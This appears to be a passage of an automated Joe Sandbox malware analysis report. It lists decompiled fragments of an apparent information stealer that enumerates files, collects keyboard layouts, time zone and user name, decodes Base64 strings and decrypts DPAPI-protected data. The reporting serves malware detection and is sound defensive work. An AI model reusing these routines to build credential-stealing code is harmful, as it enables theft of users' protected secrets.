Opcode ID: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction ID: 40ddeea6463e79618606ce93b98e9b87413dcbde514457397972783d08c0d7b9
Opcode Fuzzy Hash: 17cff671c5b088ba29cd1f939e027977487a5fc66f9f8793f0469572126c6735
Instruction Fuzzy Hash: F4618DB2900108ABC714EFA4DC85EDB73BCBF48700F0485A9F60993151DB75EA94CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 006C12E0, Relevance: 19.6, APIs: 13, Instructions: 95fileCOMMON

Download Yara Rule

APIs

SetCurrentDirectoryA.KERNEL32(?), ref: 006C12ED
wsprintfA.USER32 ref: 006C1307
FindFirstFileA.KERNEL32(?,?), ref: 006C131E
StrCmpCA.SHLWAPI(?,00414010), ref: 006C1344
StrCmpCA.SHLWAPI(?,00414014), ref: 006C135A
FindNextFileA.KERNEL32(000000FF,?), ref: 006C1423
FindClose.KERNEL32(000000FF), ref: 006C1438

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseCurrentDirectoryFirstNextwsprintf
String ID:
API String ID: 2809309208-0
Opcode ID: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction ID: 0dfb8c7bb1fc7799c56fca1ea34a1df2a3c99c34cb2920154498adc736c34086
Opcode Fuzzy Hash: 4258f23d34cf02f08480d43e87c0d7bfbbd2779a6ab049ced438d9f47dbadb74
Instruction Fuzzy Hash: D33182B2900218ABCB10DFA0DD88EEA73BDFF49705F008699B609A2151DB74DB95CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE00, Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AE00() {
				void* _v8;
				void _v524;
				int _v528;
				int _v532;
				void* _v536;
				signed int _v540;
				void* _t63;

				_v536 = RtlAllocateHeap(GetProcessHeap(), 0, 0x1f4);
				_v528 = 0;
				_v8 = 0;
				_v532 = GetKeyboardLayoutList(0, 0);
				_v8 = LocalAlloc(0x40, _v532 << 2);
				_v532 = GetKeyboardLayoutList(_v532, _v8);
				_v540 = 0;
				while(_v540 < _v532) {
					GetLocaleInfoA( *(_v8 + _v540 * 4) & 0x0000ffff, 2,  &_v524, 0x200);
					if(_v528 == 0) {
						wsprintfA(_v536, 0x414024,  &_v524);
						_t63 = _t63 + 0xc;
					} else {
						wsprintfA(_v536, "%s / %s", _v536,  &_v524);
						_t63 = _t63 + 0x10;
					}
					_v528 = _v528 + 1;
					memset( &_v524, 0, 0x200);
					_v540 = _v540 + 1;
				}
				if(_v8 != 0) {
					LocalFree(_v8);
				}
				return _v536;
			}

0x0040ae1d
0x0040ae23
0x0040ae2d
0x0040ae3e
0x0040ae56
0x0040ae6a
0x0040ae70
0x0040ae8b
0x0040aeb9
0x0040aec6
0x0040af00
0x0040af06
0x0040aec8
0x0040aee2
0x0040aee8
0x0040aee8
0x0040af12
0x0040af26
0x0040ae85
0x0040ae85
0x0040af35
0x0040af3b
0x0040af3b
0x0040af4a

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 0040AE10
RtlAllocateHeap.NTDLL(00000000), ref: 0040AE17
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 0040AE38
LocalAlloc.KERNEL32(00000040,?), ref: 0040AE50
GetKeyboardLayoutList.USER32(?,00000000), ref: 0040AE64
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0040AEB9
wsprintfA.USER32 ref: 0040AEE2
wsprintfA.USER32 ref: 0040AF00
memset.NTDLL ref: 0040AF26
LocalFree.KERNEL32(00000000), ref: 0040AF3B

Strings

%s / %s, xrefs: 0040AED6

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID: %s / %s
API String ID: 1833916909-2910687431
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: eeb2f0a0621c424ab69100cade097cc135afe8712b6e6ced773cd8003e1ddd0d
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: 48317CB098121CEBDB60DB54CD8DBE9B7B4FB54300F1086E5E509A6291C7745ED0CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006C9D90, Relevance: 18.2, APIs: 12, Instructions: 183fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C9DA9
FindFirstFileA.KERNEL32(?,?), ref: 006C9DC0
StrCmpCA.SHLWAPI(?,00414010), ref: 006C9DE6
StrCmpCA.SHLWAPI(?,00414014), ref: 006C9DFC
FindNextFileA.KERNEL32(000000FF,?), ref: 006C9FE8
FindClose.KERNEL32(000000FF), ref: 006C9FFD

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction ID: f0c158c86ba76995bba909084971e42b53fb116323689dcf3f2484d579042ec4
Opcode Fuzzy Hash: 4dc38651a575e3339a7912356295249081a0a3c24a7ffebe6d2d4ad050319dcf
Instruction Fuzzy Hash: 9B6185B2900108ABCB14EFA4DC85EEB73BDEF48700F04859DB61993141EB74EA94CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 006C9930, Relevance: 16.7, APIs: 11, Instructions: 213fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006C9949
FindFirstFileA.KERNEL32(?,?), ref: 006C9960
StrCmpCA.SHLWAPI(?,00414010), ref: 006C9986
StrCmpCA.SHLWAPI(?,00414014), ref: 006C999C
FindNextFileA.KERNEL32(000000FF,?), ref: 006C9B9A
FindClose.KERNEL32(000000FF), ref: 006C9BAF

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID:
API String ID: 180737720-0
Opcode ID: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction ID: 8bcff13b554a171dd8c22c2932ff9cc5726853d0ceef60b87554d2ab9a4fd113
Opcode Fuzzy Hash: 5368e8b786ea03139a50106a3f224b7a5846eb6f2b8c7c17a6f5a730a81b7aca
Instruction Fuzzy Hash: 9581EDB2500109ABCB14DF98DD88EEB73BDEF8C700F04859DB61993251E634EA55CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 006CB050, Relevance: 15.1, APIs: 10, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000001F4), ref: 006CB060
RtlAllocateHeap.NTDLL(00000000), ref: 006CB067
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 006CB088
LocalAlloc.KERNEL32(00000040,?), ref: 006CB0A0
GetKeyboardLayoutList.USER32(?,00000000), ref: 006CB0B4
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 006CB109
wsprintfA.USER32 ref: 006CB132
wsprintfA.USER32 ref: 006CB150
memset.NTDLL ref: 006CB176
LocalFree.KERNEL32(00000000), ref: 006CB18B

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: HeapKeyboardLayoutListLocalwsprintf$AllocAllocateFreeInfoLocaleProcessmemset
String ID:
API String ID: 1833916909-0
Opcode ID: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction ID: d4ffe148be9a46c13bc7e522e5090abf03091f80f825fd68569d6eda8ec00e2c
Opcode Fuzzy Hash: 0f92bf5acf608854974982b1739cf72243a6d7f18833e1a36854ea9882f8a1ec
Instruction Fuzzy Hash: CD3169B0A8121CEBDB60DB94CD8DFE9B7B5FB44300F1086D9E519A2291CB745E90CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00407470, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
encryptionmemoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407470(void* __ecx, char* _a4, void** _a8, char _a12) {
				int _v8;

				_v8 = 0;
				 *_a8 = 0;
				_t3 =  &_a12; // 0x407726
				 *( *_t3) = 0;
				_t4 =  &_a12; // 0x407726
				if(CryptStringToBinaryA(_a4, 0, 1, 0,  *_t4, 0, 0) != 0) {
					_t6 =  &_a12; // 0x407726
					 *_a8 = LocalAlloc(0x40,  *( *_t6));
					if( *_a8 != 0) {
						_t9 =  &_a12; // 0x407726
						_v8 = CryptStringToBinaryA(_a4, 0, 1,  *_a8,  *_t9, 0, 0);
						if(_v8 == 0) {
							 *_a8 = LocalFree( *_a8);
						}
					}
				}
				return _v8;
			}

0x00407474
0x0040747e
0x00407484
0x00407487
0x00407491
0x004074a7
0x004074a9
0x004074ba
0x004074c2
0x004074c8
0x004074e0
0x004074e7
0x004074f8
0x004074f8
0x004074e7
0x004074c2
0x00407500

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,&w@,00000000,00000000), ref: 0040749F
LocalAlloc.KERNEL32(00000040,?,?,00407726,?,?), ref: 004074B1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,&w@,00000000,00000000), ref: 004074DA
LocalFree.KERNEL32(?,?,?,00407726,?,?), ref: 004074EF

Strings

&w@, xrefs: 00407484, 00407491, 004074A9, 004074C8, 00407494, 004074CB

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: &w@
API String ID: 4291131564-3575860705
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: c39f37767852ac2ecb8cc561512dd45ccdd2e68df360e397a827ac1b88331437
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 7011C0B4641208AFEB00CF64CC95FAA77B5FB89710F20C459F9199B3D0C7B5A940CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006C76C0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,vyl,00000000,00000000), ref: 006C76EF
LocalAlloc.KERNEL32(00000040,?,?,006C7976,?,?), ref: 006C7701
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,?,vyl,00000000,00000000), ref: 006C772A
LocalFree.KERNEL32(?,?,?,006C7976,?,?), ref: 006C773F

Strings

vyl, xrefs: 006C76D4, 006C76E1, 006C76F9, 006C7718, 006C76E4, 006C771B

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: vyl
API String ID: 4291131564-365175356
Opcode ID: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction ID: b7e36b6576087dfe51ea8c668a27e05bd398462e59cac1cd3f50c8158673650a
Opcode Fuzzy Hash: 08b659a240ee31d0f212fcd460449a7e6ac96e7e70d3894c24358685cfddc9bf
Instruction Fuzzy Hash: 0211A2B4641308AFEB10CF64CC95FAA77B5FB89710F208458F9159B3D0C7B5A951CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD40, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 32
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040AD40() {
				struct _TIME_ZONE_INFORMATION _v180;
				void* _v184;
				long _v188;

				_v184 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v188 = GetTimeZoneInformation( &_v180);
				if(_v188 != 0xffffffff) {
					asm("cdq");
					wsprintfA(_v184, "UTC%d",  ~(_v180.Bias) / 0x3c);
					return _v184;
				}
				return _v184;
			}

0x0040ad5d
0x0040ad70
0x0040ad7d
0x0040ad8f
0x0040ada4
0x00000000
0x0040adad
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0040AD50
RtlAllocateHeap.NTDLL(00000000), ref: 0040AD57
GetTimeZoneInformation.KERNEL32(?), ref: 0040AD6A
wsprintfA.USER32 ref: 0040ADA4

Strings

UTC%d, xrefs: 0040AD98

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID: UTC%d
API String ID: 3317088062-2723047788
Opcode ID: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction ID: 6bb383849dc0d2738afe04011fc8d00bcf8755a75da2bcdf9aea4dbc95a6d17c
Opcode Fuzzy Hash: c1eaeb3e9eb05cc2c06cb84a2f343100f25f8727c1150393eb784ecd10d2e60d
Instruction Fuzzy Hash: D9F0F670904318DBDB209BA0DD49BE5737AAF04301F0041E1EA09A3291C7745E90CF47

Uniqueness

Uniqueness Score: -1.00%

Function 004077A0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6
lstrcat.KERNEL32(?,0041401A), ref: 004078B9
lstrcat.KERNEL32(?,0041401A), ref: 004078CD
lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction ID: 30f07ec64d583e05a1b33d7b848fe3cd5425e9d6c421b14f2a106d9c5e4e8dd0
Opcode Fuzzy Hash: 516e6448358f7b58bb84e67d9d16b3023418a82e33a7becf366805c1b7c308d2
Instruction Fuzzy Hash: 42414075D042199BDB10DF90CD89BFEB7B8EF48744F1085BAE505A7280C7786A84CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006C79F0, Relevance: 7.6, APIs: 5, Instructions: 90stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(006C956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 006C7A3B
CryptStringToBinaryA.CRYPT32(006C956D,00000000), ref: 006C7A46
lstrcat.KERNEL32(?,0041401A), ref: 006C7B09
lstrcat.KERNEL32(?,0041401A), ref: 006C7B1D
lstrcat.KERNEL32(0041401A,0041401A), ref: 006C7B3E

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction ID: eac2aea5039490c3bb11124ebd2e38af4f62554ce66f8dc2e82e18d6ca56fbb3
Opcode Fuzzy Hash: 22087c711f4338eb39b615c0f377d7a38918ef4b0fdc1615a81ca521fe69a690
Instruction Fuzzy Hash: 4D417CB490421A9FCB10DF94CD89FFEB7B8EF48300F1085A9E605A7280C7749A80CF95

Uniqueness

Uniqueness Score: -1.00%

Function 00404830, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00404830(void* __ecx, void* __eflags, char* _a4) {
				int _v8;
				void _v20011;
				char _v20012;

				E004139B0(0x4e28, __ecx);
				_v20012 = 0;
				memset( &_v20011, 0, 0x4e1f);
				_v8 = 0;
				CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1, 0,  &_v8, 0, 0);
				if(CryptStringToBinaryA(_a4, E0040B740( &_v8, _a4), 1,  &_v20012,  &_v8, 0, 0) == 0) {
					return 0x418b78;
				}
				return  &_v20012;
			}

0x00404838
0x0040483d
0x00404852
0x0040485a
0x0040487e
0x004048ae
0x00000000
0x004048ba
0x00000000

APIs

memset.MSVCRT ref: 00404852
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,008251B0), ref: 0040487E
CryptStringToBinaryA.CRYPT32(00000000,00000000,00000000,00000000,00000000), ref: 004048A6

Strings

UNK, xrefs: 004048BA

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: BinaryCryptString$memset
String ID: UNK
API String ID: 1505698593-448974810
Opcode ID: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction ID: 67e6f1f926e8c7a0577fe417f9255aed609f7f29732bbe38cca2ef159a93475b
Opcode Fuzzy Hash: 0302c2f55f6a7eb287019bb5278503ac1340180e62eed3cb738e234bc2e133be
Instruction Fuzzy Hash: 150180F6A50208BAE710EA90CC46FDA736CAB44705F104569B704AB2C1DBF5AB8487AD

Uniqueness

Uniqueness Score: -1.00%

Function 006C4A80, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49encryptionCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000000), ref: 006C4ACE
CryptStringToBinaryA.CRYPT32(?,00000000,00000000,00000000), ref: 006C4AF6

Strings

UNK, xrefs: 006C4B0A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: BinaryCryptString
String ID: UNK
API String ID: 80407269-448974810
Opcode ID: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction ID: dc5ba3caf924fb8f084b0346ba91b7060023eaa02fb8a63e4e30d4c256763220
Opcode Fuzzy Hash: 6933eaff934019462525ac9f63904068db082611bb120be6f3861f78d51b7ebf
Instruction Fuzzy Hash: AC0196F2A502487BD710EB90CD46FDA336CAB04700F104158B708AA2C1DAF1EB44879A

Uniqueness

Uniqueness Score: -1.00%

Function 00407510, Relevance: 4.5, APIs: 3, Instructions: 49
memoryencryptionCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00407510(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				void* _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;

				_v16 = _a4;
				_v20 = _a8;
				_v24 =  *0x41a91c( &_v20, 0, 0, 0, 0, 0,  &_v12);
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B6C0( *_a12, _v8,  *_a16);
					}
				}
				LocalFree(_v8);
				return _v24;
			}

0x00407519
0x0040751f
0x0040753a
0x00407541
0x00407549
0x0040755c
0x00407564
0x00407576
0x00407576
0x00407564
0x0040757f
0x0040758b

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00407534
LocalAlloc.KERNEL32(00000040,00000000), ref: 00407553
LocalFree.KERNEL32(?), ref: 0040757F

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 5588d120a004665a6ba361d23f784ce6a241c8210f3f123560cfb33f0262ac2e
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: A711BAB4A01209EFCB04DF94D984EEE77B5FF88300F108569E915A7390D734AE51CB65

Uniqueness

Uniqueness Score: -1.00%

Function 006C7760, Relevance: 4.5, APIs: 3, Instructions: 49memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 006C7784
LocalAlloc.KERNEL32(00000040,00000000), ref: 006C77A3
LocalFree.KERNEL32(?), ref: 006C77CF

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction ID: 7abd632d46f5dc01d3e7efbeb590ab1a0e42faace559417fa393ce3a115f1558
Opcode Fuzzy Hash: b90efae16c500797bef48a79db51a3ce8e169ba8c9442b9772ed69811b9c1519
Instruction Fuzzy Hash: 4A1193B8A01209AFCB04DF94C985EAEB7B9FB89300F108558E915A7390D730AA51CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACA0, Relevance: 4.5, APIs: 3, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACA0() {
				long _v8;
				void* _v12;

				_v12 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				_v8 = 0x104;
				GetUserNameA(_v12,  &_v8);
				return _v12;
			}

0x0040acba
0x0040acbd
0x0040accc
0x0040acd8

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00406B14,JohnDoe,?,00406B8D), ref: 0040ACAD
RtlAllocateHeap.NTDLL(00000000,?,00406B8D), ref: 0040ACB4
GetUserNameA.ADVAPI32(?,00000104), ref: 0040ACCC

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction ID: d8f7b171ebd5a715f3e42bd651ca7b29b46524e3321307990960babfdc207423
Opcode Fuzzy Hash: e9dc6b98a5dfea62f6889e6a1ef584fcd877daf0bb91c9162e28492c9d990377
Instruction Fuzzy Hash: 68E08CB4901208BBCB00EFE4DE49ACDBBB8AB08302F0040A4EA04E3280D6755A94CB52

Uniqueness

Uniqueness Score: -1.00%

Function 006C6CF0, Relevance: 4.5, APIs: 3, Instructions: 19sleepCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 006C6CF6
Sleep.KERNEL32(00002710), ref: 006C6D04
GetTickCount.KERNEL32 ref: 006C6D0A

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: CountTick$Sleep
String ID:
API String ID: 4250438611-0
Opcode ID: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction ID: 8cb032ae3b1528a964e84b707f79be5acfb8fffca11c01df4125986952d04c7f
Opcode Fuzzy Hash: 7f553c1e48c696f60989e1e45f98f64c256f88cb05cd9abfc45eb1fdc696742f
Instruction Fuzzy Hash: 63E08670A49108DFC700AFB4ED0C5BC7BB0EF00342F1084B5AC0693240DA3459559B5B

Uniqueness

Uniqueness Score: -1.00%

Function 00407190, Relevance: 1.6, APIs: 1, Instructions: 60
encryptionCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00407190(intOrPtr _a4, void* _a8) {
				intOrPtr _v8;
				intOrPtr _v12;
				char _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _v28;
				char _v32;

				_v8 = E0040B6A0(_a8);
				E0040B6C0(_v8, _a4, _a8);
				_v12 = _a4;
				_v16 = _a8;
				_v28 = E0040B6A0(_a8);
				_push( &_v24);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push( &_v16);
				if( *0x41a91c() == 0) {
					return 0;
				}
				_v32 = 0;
				while(_v32 < _v24) {
					 *((char*)(_v28 + _v32)) =  *((intOrPtr*)(_v20 + _v32));
					_v32 = _v32 + 1;
				}
				 *((char*)(_v28 + _v24)) = 0;
				return _v28;
			}

0x004071a2
0x004071b1
0x004071b9
0x004071bf
0x004071ce
0x004071d4
0x004071d5
0x004071d7
0x004071d9
0x004071db
0x004071dd
0x004071e2
0x004071eb
0x00000000
0x00407229
0x004071ed
0x004071ff
0x00407215
0x004071fc
0x004071fc
0x0040721f
0x00000000

APIs

Part of subcall function 0040B6A0: GetProcessHeap.KERNEL32(00000008,00413650,?,0040B59D,00413650,?,?,00413650,00004098), ref: 0040B6A9
Part of subcall function 0040B6A0: RtlAllocateHeap.NTDLL(00000000,?,0040B59D), ref: 0040B6B0

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 004071E3

Memory Dump Source

Source File: 0000001C.00000002.357514095.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001C.00000002.357551778.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_400000_254E.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: 8f8f6216897be9d8972c86f868d54cc82cdb6c08760e6d1e730d1f8a7c76b19d
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 17116DB5D04109EBCF00CFD8D881AAFB7B4AF44304F108569E905AB341D338AA41CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 006C73E0, Relevance: 1.6, APIs: 1, Instructions: 60encryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 006CB8F0: GetProcessHeap.KERNEL32(00000008,b6m,?,006CB7ED,b6m,00000009,?,006D3662,00000009), ref: 006CB8F9
Part of subcall function 006CB8F0: RtlAllocateHeap.NTDLL(00000000,?,006CB7ED), ref: 006CB900

CryptUnprotectData.CRYPT32(00000003,00000000,00000000,00000000,00000000,00000000,?), ref: 006C7433

Memory Dump Source

Source File: 0000001C.00000002.357688678.00000000006C0000.00000040.00000001.sdmp, Offset: 006C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_6c0000_254E.jbxd

Similarity

API ID: Heap$AllocateCryptDataProcessUnprotect
String ID:
API String ID: 976466151-0
Opcode ID: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction ID: bcbcd69b62d90b434df1a449fb816f8deca3e102b63ffa2f6a8593e03b3e7c4c
Opcode Fuzzy Hash: eb6f61757d666350bd732e34e11297bcafa1fe30373c176f0f3feb6d61718744
Instruction Fuzzy Hash: 9011E7B5D042099BCF04DFA9C881EBEBBB9EF48304F14C159E915AB301D634AA41DF95

Uniqueness

Uniqueness Score: -1.00%

Function 004056E0, Relevance: 96.3, APIs: 64, Instructions: 315stringmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000F423F,?,?,004067CA,?,?,?,?,?,00000104,?,00001388), ref: 004056EB
RtlAllocateHeap.NTDLL(00000000,?,004067CA), ref: 004056F2
lstrcat.KERNEL32(?,008251A0), ref: 00405705
